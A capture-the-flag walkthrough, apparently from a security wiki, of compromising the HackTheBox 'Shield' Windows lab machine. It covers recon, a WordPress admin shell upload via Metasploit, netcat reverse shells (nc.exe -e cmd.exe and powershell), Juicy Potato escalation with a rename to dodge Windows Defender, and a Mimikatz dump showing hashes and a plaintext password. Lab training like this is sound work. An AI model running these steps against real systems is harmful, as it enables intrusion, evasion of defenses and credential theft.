From aldeid
Jump to navigation Jump to search


HTB > Starting Point > Shield

Note: this starting point machine only features a root.txt



We begin by running an Nmap scan.

80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3306/tcp open  mysql   MySQL (unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

From the Nmap output, we find that IIS and MySQL are running on their default ports. IIS (Internet Information Services) is a Web Server created by Microsoft.

Let’s navigate to port 80 using a browser.

We see the default IIS starting page.


Let’s use GoBuster to scan for any sub-directories or files that are hosted on the server.

unknown@kali:/data$ gobuster dir -u -w /usr/share/wordlists/dirb/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/13 10:56:33 Starting gobuster
/wordpress (Status: 301)
2020/06/13 10:56:52 Finished

The scan reveals a folder named wordpress. Let’s navigate to it (



WordPress is a Content Management System (CMS) that can be used to quickly create websites and blogs. Since we have already acquired the password P@s5w0rd!, we can try to login to the WordPress site. We navigate to and try to guess the username. Some common usernames are admin or administrator. The combination admin:P@s5w0rd! is successful and we gain administrative access to the site.

The administrative access can be leveraged through the msfmodule exploit/unix/webapp/wp_admin_shell_upload, to get a meterpreter shell on the system.

unknown@kali:/data$ msfconsole -q
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   WordPress

msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhost
rhost =>
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password P@s5w0rd!
password => P@s5w0rd!
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run

[*] Started reverse TCP handler on 
[*] Authenticating with WordPress using admin:P@s5w0rd!...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/NvTkksXtvl/ujwUshaaSs.php...
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-06-13 11:20:52 +0200
[!] This exploit may require manual cleanup of 'ujwUshaaSs.php' on the target
[!] This exploit may require manual cleanup of 'NvTkksXtvl.php' on the target
[!] This exploit may require manual cleanup of '../NvTkksXtvl' on the target
[+] Deleted ujwUshaaSs.php
[+] Deleted NvTkksXtvl.php

meterpreter > 

A netcat binary is uploaded to the machine for a more stable shell.


On your machine, download nc.exe:

unknown@kali:~/Downloads$ cd ~/Downloads/
unknown@kali:~/Downloads$ wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unknown@kali:~/Downloads$ unzip netcat-win32-1.11.zip 
unknown@kali:~/Downloads$ cp netcat-1.11/nc.exe .

Now, back to the meterpreter, let’s use the following commands:

meterpreter > lcd /home/unknown/Downloads

lcd stands for “Local Change Directory”, which we use to navigate to the local folder where nc.exe is located.

meterpreter > cd C:/inetpub/wwwroot/wordpress/wp-content/uploads
meterpreter > upload nc.exe
[*] uploading  : nc.exe -> nc.exe
[*] Uploaded -1.00 B of 35.67 KiB (-0.0%): nc.exe -> nc.exe
[*] uploaded   : nc.exe -> nc.exe

We then navigate to a writeable directory on the server (in our case C:/inetpub/wwwroot/wordpress/wp-content/uploads) and upload netcat. Let’s start a netcat listener (on your machine):

unknown@kali:~/Downloads$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...

Next, we can execute the following command in the meterpreter session to get a netcat shell:

meterpreter > execute -f nc.exe -a "-e cmd.exe 1234"
Process 3248 created.

Privilege Escalation

Running the sysinfo command on the meterpreter session, we notice that this is a Windows Server 2016 OS, which is vulnerable to the Rotten Potato exploit.

meterpreter > sysinfo 
Computer    : SHIELD
OS          : Windows NT SHIELD 10.0 build 14393 (Windows Server 2016) i586
Meterpreter : php/windows

Juicy Potato

Juicy Potato is a variant of the exploit that allows service accounts on Windows to escalate to SYSTEM (highest privileges) by leveraging the BITS and the SeAssignPrimaryToken or SeImpersonate privilege in a MiTM attack.

We can exploit this by uploading the Juicy Potato binary and executing it.

As before, we can use our meterpreter shell to do the upload and then we can use the netcat shell to execute the exploit.

meterpreter > lcd /home/username/Downloads
meterpreter > upload JuicyPotato.exe
[*] uploading  : JuicyPotato.exe -> JuicyPotato.exe
[*] Uploaded -1.00 B of 3.76 MiB (0.0%): JuicyPotato.exe -> JuicyPotato.exe
[*] uploaded   : JuicyPotato.exe -> JuicyPotato.exe

Note: We will have to rename the Juicy Potato executable to something else, otherwise it will be picked up by Windows Defender.

meterpreter > mv JuicyPotato.exe js.exe

We can create a batch file that will be executed by the exploit, and return a SYSTEM shell. Let’s add the following contents to shell.bat (run it from the first reverse shell running on port 1234, and replace the IP with yours):

C:\inetpub\wwwroot\wordpress\wp-content\uploads>echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 1111 > shell.bat

Let’s start another netcat listener:

unknown@kali:~/Downloads$ rlwrap nc -nlvp 1111

Next, we execute the netcat shell using the following command (from the first reverse shell running on port 1234).

C:\inetpub\wwwroot\wordpress\wp-content\uploads>js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337
js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK


Note: We can use another CLSID -c {bb6df56b-cace-11dc-9992-0019b93a3a84}, if our payload is not working.

The root flag is located in C:\Users\Administrator\Desktop.

unknown@kali:~/Downloads$ rlwrap nc -nlvp 1111
listening on [any] 1111 ...
connect to [] from (UNKNOWN) [] 49802
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> more \users\administrator\desktop\root.txt
more \users\administrator\desktop\root.txt

PS C:\Windows\system32> 

Root flag: 6e9a9fdc6f64e410a68b847bb4b404fa

Post Exploitation

Mimikatz can be used to dump cached passwords. From the meterpreter session:

meterpreter > upload mimikatz.exe
[*] uploading  : mimikatz.exe -> mimikatz.exe
[*] Uploaded -1.00 B of 984.76 KiB (0.0%): mimikatz.exe -> mimikatz.exe
[*] uploaded   : mimikatz.exe -> mimikatz.exe

We execute mimikatz and use the sekurlsa command to extract logon passwords:

PS C:\inetpub\wwwroot\wordpress\wp-content\uploads> ./mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sekurlsa::logonpasswords


Authentication Id : 0 ; 305742 (00000000:0004aa4e)
Session           : Interactive from 1
User Name         : sandra
Domain            : MEGACORP
Logon Server      : PATHFINDER
Logon Time        : 6/13/2020 9:12:22 AM
SID               : S-1-5-21-1035856440-4137329016-3276773158-1105
    msv :   
     [00000003] Primary
     * Username : sandra
     * Domain   : MEGACORP
     * NTLM     : 29ab86c5c4d2aab957763e5c1720486d
     * SHA1     : 8bd0ccc2a23892a74dfbbbb57f0faa9721562a38
     * DPAPI    : f4c73b3f07c4f309ebf086644254bcbc
    tspkg : 
    wdigest :   
     * Username : sandra
     * Domain   : MEGACORP
     * Password : (null)
    kerberos :  
     * Username : sandra
     * Domain   : MEGACORP.LOCAL
     * Password : Password1234!
    ssp :   
    credman :   


And we find the password Password1234! for domain user Sandra.